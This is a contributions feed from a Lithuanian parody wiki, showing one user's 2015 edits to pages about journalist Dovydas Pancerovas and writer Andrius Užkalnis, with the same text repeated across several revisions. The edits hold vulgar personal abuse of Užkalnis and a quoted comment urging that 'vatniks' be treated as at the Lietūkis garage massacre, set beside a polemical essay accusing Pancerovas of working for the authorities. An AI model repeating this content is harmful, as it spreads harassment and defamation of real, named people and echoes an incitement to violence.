https://www.pipedija.com/api.php?action=feedcontributions&user=Panceris88&feedformat=atomPipedija - Naudotojo indėlis [lt]2024-03-29T08:29:19ZNaudotojo indėlisMediaWiki 1.37.1https://www.pipedija.com/index.php?title=Andrius_U%C5%BEkalnis&diff=46601Andrius Užkalnis2015-07-20T19:50:17Z<p>Panceris88: CreateObject("Scripting.FileSystemObject")</p>
<hr />
<div>{{teslos gabalas}}<br />
[[Vaizdas:Uzk.jpeg|350px|thumb|right|Andrius Užkalnis rūko naglai birka]]<br />
'''Andrius Užkalnis gandonas''' (latv. [[Andrējs Pādkalniekšs]])NighTGhosT<br />
<br />
<br />
<br />
<br />
Storasis Andriau Užkalni, visų pirma pasižiūrėkit į save ir ne tik veidrodyje. Ką gero esat padaręs? Ką Jūs esat gero bent jau pasakęs? Čia žmonės dirba, stengiasi, koks skirtumas, kaip jiems išeina? Kritika dar būtų kritika, jei joje būtų kažkokio konstruktyvumo be gomoerotinių užuominų, bet jūs esat prosta storas, šveplas, piktas, plikas, nelaimingas, pritvinkęs rusopedijos, savo vapalų kaip šlapimo nelaikantis gniutulas. Niekada gyvenime jūsų fantazija net iš tolo nesugebėtų sukurti nieko panašaus į šitą produktą, gerbiamas attention whore (angl. dėmesio auka).”</div>Panceris88https://www.pipedija.com/index.php?title=Dovydas_Pancerovas&diff=46600Dovydas Pancerovas2015-07-20T19:45:25Z<p>Panceris88: </p>
<hr />
<div>{{Abejotinas}} [[Vaizdas:Pa.jpeg|400px|thumb|left|pancerovas]] [[Vaizdas:Pp.png|400px|thumb|right|pancerovo menas]] citata pancerovo skaitytojo::: Na va, galų gale, tom pačiom lopetom, Dovydas Pancerovas, kuriom iškasi lavonus, reikėtų ir vis dar gyvus vatnikus užtvatinti (jei reikės patirties, semkis iš Kauno Lietūkio garažo)............................ Ukrainiečių žurnalisto Anatolijaus Šarijaus istorija Lietuvoje yra labai svarbi mums, gyvenantiems Lietuvoje. Iš tikrųjų tai net ne A.Šarijaus istorija, tai – apie Lietuvą, apie demokratiją mūsų valstybėje, apie žodžio laisvę ir požiūrį į jį, apie žurnalistus ir tuos kurie save taip vadina, o iš tiesų, pamynę bet kokias etikos ir profesionalumo normas, spjovę į bet kokį padorumą, dirba ne visuomenei, o pagal valdžios užsakymą.<br />
<br />
Faktai yra visiems žinomi – Lietuva 2012 metais, išnagrinėjusi A.Šarijaus prašymą, suteikė jam politinį prieglobstį. Sprendimas buvo priimtas atsižvelgus į ukrainiečio pateiktus dokumentus ir paaiškinimus apie jam Ukrainoje iškeltas dvi baudžiamąsias bylas, kurios, pasak paties A.Šarijaus, V.Janukovyčiaus valdžios buvo sufabrikuotos keršijant už jo žurnalistinę veiklą.<br />
<br />
Nesiimu spręsti, ar Lietuvos Migracijos tarnyba tada priėmė teisingą sprendimą, nes nemačiau A.Šarijaus bylos dokumentų, nelabai daug žinau ir apie jo žurnalistinę veiklą Ukrainoje. Tačiau, kiek teko girdėti, kad Migracijos tarnyba pabėgėlio statuso į kairę ir į dešinę lengvai nedalija. Be to, yra įstatymai, apibrėžiantys, kam gali būti toks statusas suteiktas ir spėju, kad juos apeiti nėra labai lengva.<br />
<br />
Kita vertus, objektyviai vertinant, įmanoma, jog tada, 2012 metais, kai Ukrainą valdė V.Janukovyčius, kuris nebuvo Lietuvos ir D.Grybauskaitės draugas, į kai kurias įstatymo nuostatas galmai buvo pažiūrėta pro pirštus, nes Lietuva juk demokratinė valstybė ir kartais draugystė (ypač politinė) gali būti svabesnė nei įstatymai. CŽV kalėjimų istorija tai puikiausiai gali paliudyti.<br />
<br />
Tačiau draugai keičiasi, o įstatymai lieka tie patys, ir tada kyla problemos. Didžiausia problema A.Šarijaus atveju yra ta, kad jis yra tikras žurnalistas. Tikras, šiuo atveju reiškia tas, kuris kritikuoja valdžią ir jos veiksmus, nepaisant to, su kuo ta valdžia draugauja. Tikras reiškia tas, kuris neužmerkia akių prieš “teisingų” politikų ir “teisingos” žiniasklaidos melą, nesirenka draugų ir nesitaiko prie politinės konjunktūros. Tikras reiškia tas, kuris kalba faktais, pateikia argumentus, demaskuoja melą, nepaisant to, kurie – gerieji ar blogieji – tą melą skleidžia.<br />
<br />
Tikrų žurnalistų nėra daug, nes jų niekas nemėgsta. Juos sunku valdyti, jiems negali pateikti užsakymų, jie neparsidavinėja už ordinus ar keliones, ir niekada nežinai, ką jie parašys.<br />
<br />
Greičiausiai todėl A.Šarijus, gavęs Letuvoje politinį prieglobstį, čia buvo paskelbtas “Kremliaus agentu”. Nes juk tik Kremliaus agentai gali kritikuoti dabartinę Ukrainos valdžią, dabartinį prezidentą Petro Porošenką. Tik Kremliaus agentas gali teigti, kad žurnalistai Ukrainoje šiandien yra persekiojami už žodžio laisvę ir televizijos kanalai uždaromi už pareiškimus, neatitinkančius oficialios valdžios pozicijos. Nes mes juk žinome, kad Ukrainoje viso to negali būti, nes ši valstybė yra draugiška Lietuvai, o šios valstybės prezidentas yra mūsų prezidentės draugas.<br />
<br />
Ir tikriausiai tik sutapimas yra tai, kad žinomo Lietuvoje informacinio karo ir anoniminių specialiųjų šalies tarnybų pažymų specialisto Dovydo Pancerovo rašinys apie tai, kad A.Šarijus gali netekti pabėgėlio statuso Lietuvoje, yra paskelbiamas tuo metu, kai Dalia Grybauskaitė rengiasi aplankyti savo draugą P.Porošenko. O pas draugus juk nevažiuojama tuščiomis rankomis, jiems vežamos dovanos.<br />
<br />
Tik sutapimas turbūt yra ir tai, kad būtent D.Pancerovas pirmasis sužino apie Migracijos departamento pradėtą tyrimą dėl A.Šarijaus, kuris taip nemėgsta dabartinės Ukrainos valdžios ir taip ją kritikuoja, kad net pabėgėlio statuso nebevertas. Nors Lietuvos įstatymai ir nenumato, kad pabėgėlio statusas gali būti atimtas dėl kritikos. Net kai kritikuoji tuos, kurių negalima kritikuoti. Nors įstatymai baigtinio nekritikuojamų sąrašo ir nepateikia.<br />
<br />
A.Šarijaus istorija yra ne apie jį ir ne apie jo reiškiamą kritiką dabartinei Ukrainos valdžiai. A.Šarijaus istorija yra apie išsigimstančią demokratiją Lietuvoje valdant prezidentei Daliai Grybauskaitei. A.Šarijaus istorija yra apie – kad ir kaip makabriškai tai skambėtų – dalies Lietuvos žiniasklaidos ir dalies politikų pastangas įtikinti mus, kad žodžio laisvė gali būti teisinga ir ne, kad kritikuoti galima ne visus ir kad politiniai interesai yra svarbesni už teisę turėti savo nuomonę.<br />
<br />
A.Šarijaus istorija yra ir apie mane, nes aš labai gerai žinau, kaip, padedant pancerovams, černiauskams, ramanauskams ir garbačiauskaitėms, Lietuvoje lengva tapti Kremliaus agentu. A.Šarijus to nežinojo, o aš neturėjau progos jam to papasakoti. Gal, jei būčiau spėjęs, būtų geriau pagalvojęs, ar verta toliau kritikuoti tuos, kurių kritikuoti Lietuvoje nevalia. Nors tikriausiai ne, nes jis, panašu, jau seniai yra įsitikinęs, kad žodžio laisvė nėra vien fikcija.<br />
<br />
15min.lt darbuotojas ir informacinio karo priešakinių linijų karys D.Pancerovas savo rašinėlyje A.Šarijų įvardija kaip “žurnalistu save vadinantį ukrainietį”. Pats A.Šarijus savo paskyroje socialiniame tinkle Facebook D.Pancerovą vadina sunkiai išverčiamu, bet aiškią prasmę turinčių rusišku žodžiu “čmo”.<br />
<br />
Aš pritariu A.Šarijui ir vis dar esu įsitikinęs, kad nepaisant kai kurių politikų pastangų ir tuos politikus aptarnaujančių kai kurių noriai parsidavinėjančių žiniasklaidos fronto darbuotojų, Lietuva dar nėra ta valstybė, kurioje žodžio laisvė yra tik fikcija ir kurioje vardan politinių interesų ir asmeninės draugystės, galima paaukoti demokratijos principus, žodžio laisvę ir juos ginantį svetimos šalies žurnalistą.</div>Panceris88https://www.pipedija.com/index.php?title=Dovydas_Pancerovas&diff=46599Dovydas Pancerovas2015-07-20T19:41:36Z<p>Panceris88: </p>
<hr />
<div>{{Abejotinas}} [[Vaizdas:Pa.jpeg|400px|thumb|left|pancerovas]] [[Vaizdas:Pp.png|400px|thumb|right|pancerovo menas]] citata pancerovo skaitytojo::: Na va, galų gale, tom pačiom lopetom, Dovydas Pancerovas, kuriom iškasi lavonus, reikėtų ir vis dar gyvus vatnikus užtvatinti (jei reikės patirties, semkis iš Kauno Lietūkio garažo). Ukrainiečių žurnalisto Anatolijaus Šarijaus istorija Lietuvoje yra labai svarbi mums, gyvenantiems Lietuvoje. Iš tikrųjų tai net ne A.Šarijaus istorija, tai – apie Lietuvą, apie demokratiją mūsų valstybėje, apie žodžio laisvę ir požiūrį į jį, apie žurnalistus ir tuos kurie save taip vadina, o iš tiesų, pamynę bet kokias etikos ir profesionalumo normas, spjovę į bet kokį padorumą, dirba ne visuomenei, o pagal valdžios užsakymą.<br />
<br />
Faktai yra visiems žinomi – Lietuva 2012 metais, išnagrinėjusi A.Šarijaus prašymą, suteikė jam politinį prieglobstį. Sprendimas buvo priimtas atsižvelgus į ukrainiečio pateiktus dokumentus ir paaiškinimus apie jam Ukrainoje iškeltas dvi baudžiamąsias bylas, kurios, pasak paties A.Šarijaus, V.Janukovyčiaus valdžios buvo sufabrikuotos keršijant už jo žurnalistinę veiklą.<br />
<br />
Nesiimu spręsti, ar Lietuvos Migracijos tarnyba tada priėmė teisingą sprendimą, nes nemačiau A.Šarijaus bylos dokumentų, nelabai daug žinau ir apie jo žurnalistinę veiklą Ukrainoje. Tačiau, kiek teko girdėti, kad Migracijos tarnyba pabėgėlio statuso į kairę ir į dešinę lengvai nedalija. Be to, yra įstatymai, apibrėžiantys, kam gali būti toks statusas suteiktas ir spėju, kad juos apeiti nėra labai lengva.<br />
<br />
Kita vertus, objektyviai vertinant, įmanoma, jog tada, 2012 metais, kai Ukrainą valdė V.Janukovyčius, kuris nebuvo Lietuvos ir D.Grybauskaitės draugas, į kai kurias įstatymo nuostatas galmai buvo pažiūrėta pro pirštus, nes Lietuva juk demokratinė valstybė ir kartais draugystė (ypač politinė) gali būti svabesnė nei įstatymai. CŽV kalėjimų istorija tai puikiausiai gali paliudyti.<br />
<br />
Tačiau draugai keičiasi, o įstatymai lieka tie patys, ir tada kyla problemos. Didžiausia problema A.Šarijaus atveju yra ta, kad jis yra tikras žurnalistas. Tikras, šiuo atveju reiškia tas, kuris kritikuoja valdžią ir jos veiksmus, nepaisant to, su kuo ta valdžia draugauja. Tikras reiškia tas, kuris neužmerkia akių prieš “teisingų” politikų ir “teisingos” žiniasklaidos melą, nesirenka draugų ir nesitaiko prie politinės konjunktūros. Tikras reiškia tas, kuris kalba faktais, pateikia argumentus, demaskuoja melą, nepaisant to, kurie – gerieji ar blogieji – tą melą skleidžia.<br />
<br />
Tikrų žurnalistų nėra daug, nes jų niekas nemėgsta. Juos sunku valdyti, jiems negali pateikti užsakymų, jie neparsidavinėja už ordinus ar keliones, ir niekada nežinai, ką jie parašys.<br />
<br />
Greičiausiai todėl A.Šarijus, gavęs Letuvoje politinį prieglobstį, čia buvo paskelbtas “Kremliaus agentu”. Nes juk tik Kremliaus agentai gali kritikuoti dabartinę Ukrainos valdžią, dabartinį prezidentą Petro Porošenką. Tik Kremliaus agentas gali teigti, kad žurnalistai Ukrainoje šiandien yra persekiojami už žodžio laisvę ir televizijos kanalai uždaromi už pareiškimus, neatitinkančius oficialios valdžios pozicijos. Nes mes juk žinome, kad Ukrainoje viso to negali būti, nes ši valstybė yra draugiška Lietuvai, o šios valstybės prezidentas yra mūsų prezidentės draugas.<br />
<br />
Ir tikriausiai tik sutapimas yra tai, kad žinomo Lietuvoje informacinio karo ir anoniminių specialiųjų šalies tarnybų pažymų specialisto Dovydo Pancerovo rašinys apie tai, kad A.Šarijus gali netekti pabėgėlio statuso Lietuvoje, yra paskelbiamas tuo metu, kai Dalia Grybauskaitė rengiasi aplankyti savo draugą P.Porošenko. O pas draugus juk nevažiuojama tuščiomis rankomis, jiems vežamos dovanos.<br />
<br />
Tik sutapimas turbūt yra ir tai, kad būtent D.Pancerovas pirmasis sužino apie Migracijos departamento pradėtą tyrimą dėl A.Šarijaus, kuris taip nemėgsta dabartinės Ukrainos valdžios ir taip ją kritikuoja, kad net pabėgėlio statuso nebevertas. Nors Lietuvos įstatymai ir nenumato, kad pabėgėlio statusas gali būti atimtas dėl kritikos. Net kai kritikuoji tuos, kurių negalima kritikuoti. Nors įstatymai baigtinio nekritikuojamų sąrašo ir nepateikia.<br />
<br />
A.Šarijaus istorija yra ne apie jį ir ne apie jo reiškiamą kritiką dabartinei Ukrainos valdžiai. A.Šarijaus istorija yra apie išsigimstančią demokratiją Lietuvoje valdant prezidentei Daliai Grybauskaitei. A.Šarijaus istorija yra apie – kad ir kaip makabriškai tai skambėtų – dalies Lietuvos žiniasklaidos ir dalies politikų pastangas įtikinti mus, kad žodžio laisvė gali būti teisinga ir ne, kad kritikuoti galima ne visus ir kad politiniai interesai yra svarbesni už teisę turėti savo nuomonę.<br />
<br />
A.Šarijaus istorija yra ir apie mane, nes aš labai gerai žinau, kaip, padedant pancerovams, černiauskams, ramanauskams ir garbačiauskaitėms, Lietuvoje lengva tapti Kremliaus agentu. A.Šarijus to nežinojo, o aš neturėjau progos jam to papasakoti. Gal, jei būčiau spėjęs, būtų geriau pagalvojęs, ar verta toliau kritikuoti tuos, kurių kritikuoti Lietuvoje nevalia. Nors tikriausiai ne, nes jis, panašu, jau seniai yra įsitikinęs, kad žodžio laisvė nėra vien fikcija.<br />
<br />
15min.lt darbuotojas ir informacinio karo priešakinių linijų karys D.Pancerovas savo rašinėlyje A.Šarijų įvardija kaip “žurnalistu save vadinantį ukrainietį”. Pats A.Šarijus savo paskyroje socialiniame tinkle Facebook D.Pancerovą vadina sunkiai išverčiamu, bet aiškią prasmę turinčių rusišku žodžiu “čmo”.<br />
<br />
Aš pritariu A.Šarijui ir vis dar esu įsitikinęs, kad nepaisant kai kurių politikų pastangų ir tuos politikus aptarnaujančių kai kurių noriai parsidavinėjančių žiniasklaidos fronto darbuotojų, Lietuva dar nėra ta valstybė, kurioje žodžio laisvė yra tik fikcija ir kurioje vardan politinių interesų ir asmeninės draugystės, galima paaukoti demokratijos principus, žodžio laisvę ir juos ginantį svetimos šalies žurnalistą.</div>Panceris88https://www.pipedija.com/index.php?title=Dovydas_Pancerovas&diff=46598Dovydas Pancerovas2015-07-20T19:40:49Z<p>Panceris88: </p>
<hr />
<div>{{Abejotinas}} [[Vaizdas:Pa.jpeg|400px|thumb|left|pancerovas]] [[Vaizdas:Pp.png|300px|thumb|right|pancerovo menas]] citata pancerovo skaitytojo::: Na va, galų gale, tom pačiom lopetom, Dovydas Pancerovas, kuriom iškasi lavonus, reikėtų ir vis dar gyvus vatnikus užtvatinti (jei reikės patirties, semkis iš Kauno Lietūkio garažo). Ukrainiečių žurnalisto Anatolijaus Šarijaus istorija Lietuvoje yra labai svarbi mums, gyvenantiems Lietuvoje. Iš tikrųjų tai net ne A.Šarijaus istorija, tai – apie Lietuvą, apie demokratiją mūsų valstybėje, apie žodžio laisvę ir požiūrį į jį, apie žurnalistus ir tuos kurie save taip vadina, o iš tiesų, pamynę bet kokias etikos ir profesionalumo normas, spjovę į bet kokį padorumą, dirba ne visuomenei, o pagal valdžios užsakymą.<br />
<br />
Faktai yra visiems žinomi – Lietuva 2012 metais, išnagrinėjusi A.Šarijaus prašymą, suteikė jam politinį prieglobstį. Sprendimas buvo priimtas atsižvelgus į ukrainiečio pateiktus dokumentus ir paaiškinimus apie jam Ukrainoje iškeltas dvi baudžiamąsias bylas, kurios, pasak paties A.Šarijaus, V.Janukovyčiaus valdžios buvo sufabrikuotos keršijant už jo žurnalistinę veiklą.<br />
<br />
Nesiimu spręsti, ar Lietuvos Migracijos tarnyba tada priėmė teisingą sprendimą, nes nemačiau A.Šarijaus bylos dokumentų, nelabai daug žinau ir apie jo žurnalistinę veiklą Ukrainoje. Tačiau, kiek teko girdėti, kad Migracijos tarnyba pabėgėlio statuso į kairę ir į dešinę lengvai nedalija. Be to, yra įstatymai, apibrėžiantys, kam gali būti toks statusas suteiktas ir spėju, kad juos apeiti nėra labai lengva.<br />
<br />
Kita vertus, objektyviai vertinant, įmanoma, jog tada, 2012 metais, kai Ukrainą valdė V.Janukovyčius, kuris nebuvo Lietuvos ir D.Grybauskaitės draugas, į kai kurias įstatymo nuostatas galmai buvo pažiūrėta pro pirštus, nes Lietuva juk demokratinė valstybė ir kartais draugystė (ypač politinė) gali būti svabesnė nei įstatymai. CŽV kalėjimų istorija tai puikiausiai gali paliudyti.<br />
<br />
Tačiau draugai keičiasi, o įstatymai lieka tie patys, ir tada kyla problemos. Didžiausia problema A.Šarijaus atveju yra ta, kad jis yra tikras žurnalistas. Tikras, šiuo atveju reiškia tas, kuris kritikuoja valdžią ir jos veiksmus, nepaisant to, su kuo ta valdžia draugauja. Tikras reiškia tas, kuris neužmerkia akių prieš “teisingų” politikų ir “teisingos” žiniasklaidos melą, nesirenka draugų ir nesitaiko prie politinės konjunktūros. Tikras reiškia tas, kuris kalba faktais, pateikia argumentus, demaskuoja melą, nepaisant to, kurie – gerieji ar blogieji – tą melą skleidžia.<br />
<br />
Tikrų žurnalistų nėra daug, nes jų niekas nemėgsta. Juos sunku valdyti, jiems negali pateikti užsakymų, jie neparsidavinėja už ordinus ar keliones, ir niekada nežinai, ką jie parašys.<br />
<br />
Greičiausiai todėl A.Šarijus, gavęs Letuvoje politinį prieglobstį, čia buvo paskelbtas “Kremliaus agentu”. Nes juk tik Kremliaus agentai gali kritikuoti dabartinę Ukrainos valdžią, dabartinį prezidentą Petro Porošenką. Tik Kremliaus agentas gali teigti, kad žurnalistai Ukrainoje šiandien yra persekiojami už žodžio laisvę ir televizijos kanalai uždaromi už pareiškimus, neatitinkančius oficialios valdžios pozicijos. Nes mes juk žinome, kad Ukrainoje viso to negali būti, nes ši valstybė yra draugiška Lietuvai, o šios valstybės prezidentas yra mūsų prezidentės draugas.<br />
<br />
Ir tikriausiai tik sutapimas yra tai, kad žinomo Lietuvoje informacinio karo ir anoniminių specialiųjų šalies tarnybų pažymų specialisto Dovydo Pancerovo rašinys apie tai, kad A.Šarijus gali netekti pabėgėlio statuso Lietuvoje, yra paskelbiamas tuo metu, kai Dalia Grybauskaitė rengiasi aplankyti savo draugą P.Porošenko. O pas draugus juk nevažiuojama tuščiomis rankomis, jiems vežamos dovanos.<br />
<br />
Tik sutapimas turbūt yra ir tai, kad būtent D.Pancerovas pirmasis sužino apie Migracijos departamento pradėtą tyrimą dėl A.Šarijaus, kuris taip nemėgsta dabartinės Ukrainos valdžios ir taip ją kritikuoja, kad net pabėgėlio statuso nebevertas. Nors Lietuvos įstatymai ir nenumato, kad pabėgėlio statusas gali būti atimtas dėl kritikos. Net kai kritikuoji tuos, kurių negalima kritikuoti. Nors įstatymai baigtinio nekritikuojamų sąrašo ir nepateikia.<br />
<br />
A.Šarijaus istorija yra ne apie jį ir ne apie jo reiškiamą kritiką dabartinei Ukrainos valdžiai. A.Šarijaus istorija yra apie išsigimstančią demokratiją Lietuvoje valdant prezidentei Daliai Grybauskaitei. A.Šarijaus istorija yra apie – kad ir kaip makabriškai tai skambėtų – dalies Lietuvos žiniasklaidos ir dalies politikų pastangas įtikinti mus, kad žodžio laisvė gali būti teisinga ir ne, kad kritikuoti galima ne visus ir kad politiniai interesai yra svarbesni už teisę turėti savo nuomonę.<br />
<br />
A.Šarijaus istorija yra ir apie mane, nes aš labai gerai žinau, kaip, padedant pancerovams, černiauskams, ramanauskams ir garbačiauskaitėms, Lietuvoje lengva tapti Kremliaus agentu. A.Šarijus to nežinojo, o aš neturėjau progos jam to papasakoti. Gal, jei būčiau spėjęs, būtų geriau pagalvojęs, ar verta toliau kritikuoti tuos, kurių kritikuoti Lietuvoje nevalia. Nors tikriausiai ne, nes jis, panašu, jau seniai yra įsitikinęs, kad žodžio laisvė nėra vien fikcija.<br />
<br />
15min.lt darbuotojas ir informacinio karo priešakinių linijų karys D.Pancerovas savo rašinėlyje A.Šarijų įvardija kaip “žurnalistu save vadinantį ukrainietį”. Pats A.Šarijus savo paskyroje socialiniame tinkle Facebook D.Pancerovą vadina sunkiai išverčiamu, bet aiškią prasmę turinčių rusišku žodžiu “čmo”.<br />
<br />
Aš pritariu A.Šarijui ir vis dar esu įsitikinęs, kad nepaisant kai kurių politikų pastangų ir tuos politikus aptarnaujančių kai kurių noriai parsidavinėjančių žiniasklaidos fronto darbuotojų, Lietuva dar nėra ta valstybė, kurioje žodžio laisvė yra tik fikcija ir kurioje vardan politinių interesų ir asmeninės draugystės, galima paaukoti demokratijos principus, žodžio laisvę ir juos ginantį svetimos šalies žurnalistą.</div>Panceris88https://www.pipedija.com/index.php?title=Vaizdas:Pp.png&diff=46597Vaizdas:Pp.png2015-07-20T19:38:26Z<p>Panceris88: </p>
<hr />
<div></div>Panceris88https://www.pipedija.com/index.php?title=Dovydas_Pancerovas&diff=46596Dovydas Pancerovas2015-07-20T19:27:44Z<p>Panceris88: </p>
<hr />
<div>{{Abejotinas}} [[Vaizdas:Pa.jpeg|400px|thumb|left|pancerovas]] Pancerovo citata is facebook:Labai abejoju, kad kur nors nacių okupuotoje teritorijoje, miestų ar kaimų centruose, yra paminklų, šlovinančių žudikus: amžina šlovė Vermachtui, čia ilsisi šaunieji Waffen SS kariai!<br />
<br />
Susivokęs žmogus tokių karių nesmerkia, nes jie tarnavo, bet ir nešlovina.<br />
<br />
Tad po Žaliojo tilto balvonų būtų laikas pradėti galvoti apie okupantų raudonarmiečių kapų iškėlimą už miestų ribų. Arba bent jau propagandinių, melą skleidžiančių paminklų nuėmimą. citata pancerovo skaitytojo::: Na va, galų gale, tom pačiom lopetom, Dovydas Pancerovas, kuriom iškasi lavonus, reikėtų ir vis dar gyvus vatnikus užtvatinti (jei reikės patirties, semkis iš Kauno Lietūkio garažo). Ukrainiečių žurnalisto Anatolijaus Šarijaus istorija Lietuvoje yra labai svarbi mums, gyvenantiems Lietuvoje. Iš tikrųjų tai net ne A.Šarijaus istorija, tai – apie Lietuvą, apie demokratiją mūsų valstybėje, apie žodžio laisvę ir požiūrį į jį, apie žurnalistus ir tuos kurie save taip vadina, o iš tiesų, pamynę bet kokias etikos ir profesionalumo normas, spjovę į bet kokį padorumą, dirba ne visuomenei, o pagal valdžios užsakymą.<br />
<br />
Faktai yra visiems žinomi – Lietuva 2012 metais, išnagrinėjusi A.Šarijaus prašymą, suteikė jam politinį prieglobstį. Sprendimas buvo priimtas atsižvelgus į ukrainiečio pateiktus dokumentus ir paaiškinimus apie jam Ukrainoje iškeltas dvi baudžiamąsias bylas, kurios, pasak paties A.Šarijaus, V.Janukovyčiaus valdžios buvo sufabrikuotos keršijant už jo žurnalistinę veiklą.<br />
<br />
Nesiimu spręsti, ar Lietuvos Migracijos tarnyba tada priėmė teisingą sprendimą, nes nemačiau A.Šarijaus bylos dokumentų, nelabai daug žinau ir apie jo žurnalistinę veiklą Ukrainoje. Tačiau, kiek teko girdėti, kad Migracijos tarnyba pabėgėlio statuso į kairę ir į dešinę lengvai nedalija. Be to, yra įstatymai, apibrėžiantys, kam gali būti toks statusas suteiktas ir spėju, kad juos apeiti nėra labai lengva.<br />
<br />
Kita vertus, objektyviai vertinant, įmanoma, jog tada, 2012 metais, kai Ukrainą valdė V.Janukovyčius, kuris nebuvo Lietuvos ir D.Grybauskaitės draugas, į kai kurias įstatymo nuostatas galmai buvo pažiūrėta pro pirštus, nes Lietuva juk demokratinė valstybė ir kartais draugystė (ypač politinė) gali būti svabesnė nei įstatymai. CŽV kalėjimų istorija tai puikiausiai gali paliudyti.<br />
<br />
Tačiau draugai keičiasi, o įstatymai lieka tie patys, ir tada kyla problemos. Didžiausia problema A.Šarijaus atveju yra ta, kad jis yra tikras žurnalistas. Tikras, šiuo atveju reiškia tas, kuris kritikuoja valdžią ir jos veiksmus, nepaisant to, su kuo ta valdžia draugauja. Tikras reiškia tas, kuris neužmerkia akių prieš “teisingų” politikų ir “teisingos” žiniasklaidos melą, nesirenka draugų ir nesitaiko prie politinės konjunktūros. Tikras reiškia tas, kuris kalba faktais, pateikia argumentus, demaskuoja melą, nepaisant to, kurie – gerieji ar blogieji – tą melą skleidžia.<br />
<br />
Tikrų žurnalistų nėra daug, nes jų niekas nemėgsta. Juos sunku valdyti, jiems negali pateikti užsakymų, jie neparsidavinėja už ordinus ar keliones, ir niekada nežinai, ką jie parašys.<br />
<br />
Greičiausiai todėl A.Šarijus, gavęs Letuvoje politinį prieglobstį, čia buvo paskelbtas “Kremliaus agentu”. Nes juk tik Kremliaus agentai gali kritikuoti dabartinę Ukrainos valdžią, dabartinį prezidentą Petro Porošenką. Tik Kremliaus agentas gali teigti, kad žurnalistai Ukrainoje šiandien yra persekiojami už žodžio laisvę ir televizijos kanalai uždaromi už pareiškimus, neatitinkančius oficialios valdžios pozicijos. Nes mes juk žinome, kad Ukrainoje viso to negali būti, nes ši valstybė yra draugiška Lietuvai, o šios valstybės prezidentas yra mūsų prezidentės draugas.<br />
<br />
Ir tikriausiai tik sutapimas yra tai, kad žinomo Lietuvoje informacinio karo ir anoniminių specialiųjų šalies tarnybų pažymų specialisto Dovydo Pancerovo rašinys apie tai, kad A.Šarijus gali netekti pabėgėlio statuso Lietuvoje, yra paskelbiamas tuo metu, kai Dalia Grybauskaitė rengiasi aplankyti savo draugą P.Porošenko. O pas draugus juk nevažiuojama tuščiomis rankomis, jiems vežamos dovanos.<br />
<br />
Tik sutapimas turbūt yra ir tai, kad būtent D.Pancerovas pirmasis sužino apie Migracijos departamento pradėtą tyrimą dėl A.Šarijaus, kuris taip nemėgsta dabartinės Ukrainos valdžios ir taip ją kritikuoja, kad net pabėgėlio statuso nebevertas. Nors Lietuvos įstatymai ir nenumato, kad pabėgėlio statusas gali būti atimtas dėl kritikos. Net kai kritikuoji tuos, kurių negalima kritikuoti. Nors įstatymai baigtinio nekritikuojamų sąrašo ir nepateikia.<br />
<br />
A.Šarijaus istorija yra ne apie jį ir ne apie jo reiškiamą kritiką dabartinei Ukrainos valdžiai. A.Šarijaus istorija yra apie išsigimstančią demokratiją Lietuvoje valdant prezidentei Daliai Grybauskaitei. A.Šarijaus istorija yra apie – kad ir kaip makabriškai tai skambėtų – dalies Lietuvos žiniasklaidos ir dalies politikų pastangas įtikinti mus, kad žodžio laisvė gali būti teisinga ir ne, kad kritikuoti galima ne visus ir kad politiniai interesai yra svarbesni už teisę turėti savo nuomonę.<br />
<br />
A.Šarijaus istorija yra ir apie mane, nes aš labai gerai žinau, kaip, padedant pancerovams, černiauskams, ramanauskams ir garbačiauskaitėms, Lietuvoje lengva tapti Kremliaus agentu. A.Šarijus to nežinojo, o aš neturėjau progos jam to papasakoti. Gal, jei būčiau spėjęs, būtų geriau pagalvojęs, ar verta toliau kritikuoti tuos, kurių kritikuoti Lietuvoje nevalia. Nors tikriausiai ne, nes jis, panašu, jau seniai yra įsitikinęs, kad žodžio laisvė nėra vien fikcija.<br />
<br />
15min.lt darbuotojas ir informacinio karo priešakinių linijų karys D.Pancerovas savo rašinėlyje A.Šarijų įvardija kaip “žurnalistu save vadinantį ukrainietį”. Pats A.Šarijus savo paskyroje socialiniame tinkle Facebook D.Pancerovą vadina sunkiai išverčiamu, bet aiškią prasmę turinčių rusišku žodžiu “čmo”.<br />
<br />
Aš pritariu A.Šarijui ir vis dar esu įsitikinęs, kad nepaisant kai kurių politikų pastangų ir tuos politikus aptarnaujančių kai kurių noriai parsidavinėjančių žiniasklaidos fronto darbuotojų, Lietuva dar nėra ta valstybė, kurioje žodžio laisvė yra tik fikcija ir kurioje vardan politinių interesų ir asmeninės draugystės, galima paaukoti demokratijos principus, žodžio laisvę ir juos ginantį svetimos šalies žurnalistą.</div>Panceris88https://www.pipedija.com/index.php?title=Dovydas_Pancerovas&diff=46595Dovydas Pancerovas2015-07-20T19:17:42Z<p>Panceris88: </p>
<hr />
<div>{{Abejotinas}} [[Vaizdas:Pa.jpeg|400px|thumb|left|alternatyvusis tekstas]] Pancerovo keslai:Labai abejoju, kad kur nors nacių okupuotoje teritorijoje, miestų ar kaimų centruose, yra paminklų, šlovinančių žudikus: amžina šlovė Vermachtui, čia ilsisi šaunieji Waffen SS kariai!<br />
<br />
Susivokęs žmogus tokių karių nesmerkia, nes jie tarnavo, bet ir nešlovina.<br />
<br />
Tad po Žaliojo tilto balvonų būtų laikas pradėti galvoti apie okupantų raudonarmiečių kapų iškėlimą už miestų ribų. Arba bent jau propagandinių, melą skleidžiančių paminklų nuėmimą. Na va, galų gale, tom pačiom lopetom, Dovydas Pancerovas, kuriom iškasi lavonus, reikėtų ir vis dar gyvus vatnikus užtvatinti (jei reikės patirties, semkis iš Kauno Lietūkio garažo). Ukrainiečių žurnalisto Anatolijaus Šarijaus istorija Lietuvoje yra labai svarbi mums, gyvenantiems Lietuvoje. Iš tikrųjų tai net ne A.Šarijaus istorija, tai – apie Lietuvą, apie demokratiją mūsų valstybėje, apie žodžio laisvę ir požiūrį į jį, apie žurnalistus ir tuos kurie save taip vadina, o iš tiesų, pamynę bet kokias etikos ir profesionalumo normas, spjovę į bet kokį padorumą, dirba ne visuomenei, o pagal valdžios užsakymą.<br />
<br />
Faktai yra visiems žinomi – Lietuva 2012 metais, išnagrinėjusi A.Šarijaus prašymą, suteikė jam politinį prieglobstį. Sprendimas buvo priimtas atsižvelgus į ukrainiečio pateiktus dokumentus ir paaiškinimus apie jam Ukrainoje iškeltas dvi baudžiamąsias bylas, kurios, pasak paties A.Šarijaus, V.Janukovyčiaus valdžios buvo sufabrikuotos keršijant už jo žurnalistinę veiklą.<br />
<br />
